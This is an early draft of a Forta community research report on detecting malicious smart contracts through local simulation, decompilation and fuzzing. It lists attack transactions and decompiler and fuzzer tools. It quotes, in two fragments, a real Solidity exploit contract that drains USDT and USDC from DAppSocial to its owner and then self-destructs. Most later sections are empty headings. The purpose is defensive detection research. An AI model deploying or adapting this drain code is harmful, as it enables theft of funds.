Attack Detection

With Local Simulation And Fuzzing

Web3

Forta Community
2023/12/04

CONTEXT

Prepared by the community of **Forta** as part of its **Threat Research Inititative**.

See **here** to apply to the TRi.

DOCUMENT REVISION HISTORY

VERSION	MODIFICATION	DATE	AUTHOR
0.1	Document creation	2023/12/04	Apehex

CONTACTS

CONTACT	MAIL	MORE
Apehex	**apehex@protonmail.com**	**Github: apehex**
Christian Seifert	**christian@forta.org**	**Twitter: cseifert**

OVERVIEW

0.1. INTRODUCTION

Protocol attacks often involve attackers deploying a malicious smart contract. Given these smart contracts are deployed before assets are being stolen, detection of these malicious smart contracts is of utmost importance. Several detection bots are deployed on the Forta Network today, which identify malicious smart contracts using static and dynamic detection approaches.

The dynamic detection approach **Smart Contract Simulation bot** attempts to simulate the execution of a malicious smart contract and observing whether suspicious state changes (e.g. TVL drop) occurs during the execution of the smart contract.

Given that malicious smart contracts are not source code verified, the bot attempts to guess the ABI and invoke the contract using a variety of heuristics. This often fails (e.g. when the parameter list is unknown or the parameter requires to be of a certain value).

Fuzzing is the technique that can be utilized to execute smart contracts and - using a variety of techniques, such as taint analysis - make informed guesses on how to execute a contract to exhibit its behavior. Unfortunately, these fuzzing tools have primarily been developed by smart contract auditors and operate on source code.

A possible avenue to work around this mismatch of having the bytecode of malicious smart contracts and fuzzing tools that require source code are decompilers. Decompilers can turn byte code into valid source code. This bounty is about assessing whether decompiling malicious smart contracts could increase the likelihood of successful execution and therefore successful detection.

0.2. METHODOLOGY

This report is grounded in both past and present research.

SIMULATION TARGETS

Live attacks and control tests.

1. ATTACKS

```
1  https://explorer.phalcon.xyz/tx/eth/0
       xbd72bccec6dd824f8cac5d9a3a2364794c9272d7f7348d074b580e3c6e44312e
2
3  https://explorer.phalcon.xyz/tx/eth/0
       x98610e0a20b5ebb08c40e78b4d2271ae1fbd4fc3b8783b1bb7a5687918fad54e,0
       x4629b7622c1beba84fdbbac78432fe06707894c8ed40811b1b70815e8a7efe7a,0
       xd37b233487b08906d765aeb5c74f394d8544ae8b4e68e5b0a6ef7a2646597700,0
       xf8164a54d943386839d7ff6c85e282da4409dda69702899204b9c25e028f7e18,
4
5  https://explorer.phalcon.xyz/tx/eth/0
       x1274b32d4dfacd2703ad032e8bd669a83f012dde9d27ed92e4e7da0387adafe4
6
7  https://explorer.phalcon.xyz/tx/eth/0
       xe0725362fd774de0d8416d5e3d028063508ffa61f68087c576320e42159677a9
8
9  https://explorer.phalcon.xyz/tx/arbitrum/0
       xb368c710712d0ef7151e87c4c99074efe1c0632eaa49c4d967b21e085303a714,0
       x9ba3374d1245d449e883d0325dea3f6d2e02e8703b7a438f0f66f7c399ec6bd7
10
11 https://explorer.phalcon.xyz/tx/arbitrum/0
       x519556955fb1ec904673ac357ab3e7dfea24d8fc3fad5554aada6566ac71036b
12
13 https://explorer.phalcon.xyz/tx/bsc/0
       x8ee76291c1b46d267431d2a528fa7f3ea7035629500bba4f87a69b88fcaf6e23
14
15 https://explorer.phalcon.xyz/tx/eth/0
       xe28ca1f43036f4768776805fb50906f8172f75eba3bf1d9866bcd64361fda834
16
17 https://explorer.phalcon.xyz/tx/eth/0
       xb6a07c2c591e43abc63add833aaf4d6ab47e66f05cf6b49a9dda7c2317b2d61c
18
19 https://explorer.phalcon.xyz/tx/eth/0
       x00b375f8e90fc54c1345b33c686977ebec26877e2c8cac165429927a6c9bdbec
20
21 https://explorer.phalcon.xyz/tx/eth/0
       xc42fe1ce2516e125a386d198703b2422aa0190b25ef6a7b0a1d3c6f5d199ffad
22
23 https://explorer.phalcon.xyz/tx/eth/0
       xe9eefff04322a1e9262aad139e7b03954709a7c2ffea5ba9d1026a24fb58c029
24
25 https://explorer.phalcon.xyz/tx/bsc/0
       x8fa1e3eaf6bae975ffd933e9a9e14edccbcc61bd02b2239179adeb5e17c013d5
26
27 https://explorer.phalcon.xyz/tx/bsc/0
       x98d4dc3438574dd92f7c06aa96975e9ecf68ebcbbf1f1113e9c14d2a8b8c4e7f
28
29 https://explorer.phalcon.xyz/tx/bsc/0
       x21c87c4185cdd96ba0ca13fd29e4d641f3dac8e72124919dd55926c7d2c3bcdc
30
31 https://explorer.phalcon.xyz/tx/avax/0
       x4f37ffecdad598f53b8d5a2d9df98e3c00fbda4328585eb9947a412b5fe17ac5
32
33 https://explorer.phalcon.xyz/tx/eth/0
       xc89adad6860d5fdb58b357432e3b113e2ecf2c50f53ae18edcc70d3c7119e525
34
35 https://explorer.phalcon.xyz/tx/bsc/0
       xc11e4020c0830bcf84bfa197696d7bfad9ff503166337cb92ea3fade04007662
36
37 https://explorer.phalcon.xyz/tx/avax/0
       xab5f6242fb073af1bb3cd6e891bc93d247e748a69e599a3744ff070447acb20f,0
       x4425f757715e23d392cda666bc0492d9e5d5848ff89851a1821eab5ed12bb867
38
```

```
https://explorer.phalcon.xyz/tx/arbitrum/0x57c96e320a3b885fabd95dd476d43c0d0fb10500d940d9594d4a458471a87abe

https://explorer.phalcon.xyz/tx/eth/0x10620efb40ec9c495fafe79c56891906debd62fa4d7a5baacdefe351c663a2f2

https://explorer.phalcon.xyz/tx/eth/0xa414de03bbf7baccea6b5c95af9ebfbed43b1c3151debd29673df979a0f4b0b0

https://explorer.phalcon.xyz/tx/bsc/0x24a2fbb27d433d91372525954f0d7d1af7509547b9ada29cc6c078e732c6d075

https://explorer.phalcon.xyz/tx/eth/0xc087fbd68b9349b71838982e789e204454bfd00eebf9c8e101574376eb990d92

https://explorer.phalcon.xyz/tx/eth/0x8af9b5fb3e2e3df8659ffb2e0f0c1f4c90d5a80f4f6fccef143b823ce673fb60

https://explorer.phalcon.xyz/tx/eth/0xcbe521aea28911fe9983030748028e12541e347b8b6b974d026fa5065c22f0cf

https://explorer.phalcon.xyz/tx/eth/0xbc08860cd0a08289c41033bdc84b2bb2b0c54a51ceae59620ed9904384287a38

https://explorer.phalcon.xyz/tx/arbitrum/0x51293c1155a1d33d8fc9389721362044c3a67e0ac732b3a6ec7661d47b03df9f
```

1.1.

DAppSocial

1.1.1. On creation

```
contract HelperExploitContract {
    IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IDAppSocial private constant DAppSocial = IDAppSocial(0x319Ec3AD98CF8b12a8BE5719FeC6E0a9bb1ad0D1);
    address payable private immutable owner;

    constructor() {
        owner = payable(msg.sender);
    }

    // 0x42c59677 exploit function
    function exploit(address token, bool withdraw) external {
        require(msg.sender == owner, "Only owner");
        if (withdraw == true) {
            if (token == address(USDT)) {
                DAppSocial.withdrawTokens(address(token), USDT.balanceOf(address(DAppSocial)));
                USDT.transfer(owner, USDT.balanceOf(address(this)));
            } else {
                DAppSocial.withdrawTokens(address(token), USDC.balanceOf(address(DAppSocial)));
                USDC.transfer(owner, USDC.balanceOf(address(this)));
            }
        } else {
```

```
23              DAppSocial.lockTokens(owner, 0);
24          }
25      }
26
27      function killMe() external {
28          require(msg.sender == owner, "Only owner");
29          selfdestruct(owner);
30      }
31  }
```

decompilation

signature

input

1.1.2. On transaction

execute directly

setup ourselves = redeploy their helper

mutate = replace addresses with own contracts

2. CONTROLS

SIMULATION PROCESS

3. PROCESS OVERVIEW

4. DECOMPILATION

5. MODELING

6. FUZZING

TOOLING

Public tools and how to chain them.

7. DECOMPILERS

Decurity abi-decompiler Dedaub Elipmoc heimdall-rs Eveel Panoramix Ether-scan decompiler

8. FUZZERS

ContractFuzzer: fuzzing **Trails of Bits Diffusc**: differential fuzzing **ConsenSys Diligence**: fuzzing **Trails of Bits Echidna**: fuzzing **Foundry**: forking + fuzzing **0xalpharush fuzzing-like-a-degen**: barebone fuzzer **Certora Gambit Trail of Bits Manticore Crytic Medusa**: **ConsenSys Mythril nascentxyz Pyrometer**

DappHub HEVM: symbolic execution **Trail of Bits Maat**: symbolic execution

8.0.1. Fuzzing Techniques

taint guided mutation based fuzzing

8.0.2. Wordlists

Token addresses:

RESULTS

9. DETECTION STATS

10. PERFORMANCE PROFILE